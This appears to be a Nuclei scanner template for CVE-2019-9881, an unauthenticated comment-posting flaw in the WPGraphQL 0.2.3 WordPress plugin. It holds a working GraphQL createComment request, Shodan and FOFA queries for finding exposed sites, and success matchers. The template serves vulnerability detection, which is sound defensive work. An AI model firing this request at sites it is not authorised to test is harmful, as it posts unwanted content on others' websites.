Description
The createComment mutation in the WPGraphQL 0.2.3 plugin for WordPress allows unauthenticated users to post comments on any article, even when 'allow comment' is disabled.
The createComment mutation in the WPGraphQL 0.2.3 plugin for WordPress allows unauthenticated users to post comments on any article, even when 'allow comment' is disabled.
id: CVE-2019-9881
info:
name: WPEngine WPGraphQL 0.2.3 - Unauthenticated Comment Posting
author: intelligent-ears
severity: medium
description: |
The createComment mutation in the WPGraphQL 0.2.3 plugin for WordPress allows unauthenticated users to post comments on any article, even when 'allow comment' is disabled.
impact: |
An attacker can exploit this vulnerability to post unauthorized comments on WordPress posts, potentially leading to content manipulation and defacement.
remediation: |
Update WPGraphQL to version 0.3.0 or later to fix this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2019-9881
- https://github.com/wp-graphql/wp-graphql/releases/tag/v0.3.0
- https://www.pentestpartners.com/security-blog/pwning-wordpress-graphql/
- https://wpvulndb.com/vulnerabilities/9282
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
cvss-score: 5.3
cve-id: CVE-2019-9881
cwe-id: CWE-306
epss-score: 0.18832
epss-percentile: 0.97136
cpe: cpe:2.3:a:wpengine:wpgraphql:0.2.3:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: wpengine
product: wpgraphql
framework: wordpress
shodan-query: http.title:"WordPress" "graphql"
fofa-query: body="/wp-content/plugins/wp-graphql/"
publicwww-query: "/wp-content/plugins/wp-graphql/"
tags: cve,cve2019,wp,wp-plugin,wordpress,wp-graphql,wpengine,unauth,vkev,vuln
variables:
string: "{{randstr}}"
client: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
POST /graphql HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"query": "mutation { createComment(input: { postId: 1, userId: 1, content: \"{{string}}\", clientMutationId: \"{{client}}\" }) { clientMutationId } }"}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, "application/json")
- contains_all(body, 'createComment','clientMutationId','\{\"data\":','{{client}}')
condition: and
# digest: 490a0046304402200f665d48ea06a8386d5cb2e904859bc6cbbd805ea487a19511b64f32094b58c2022055bb537a12f4a55bdcb65bc1c7841d26b58c0787d9b4619e50d91f9d3820ab2f:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.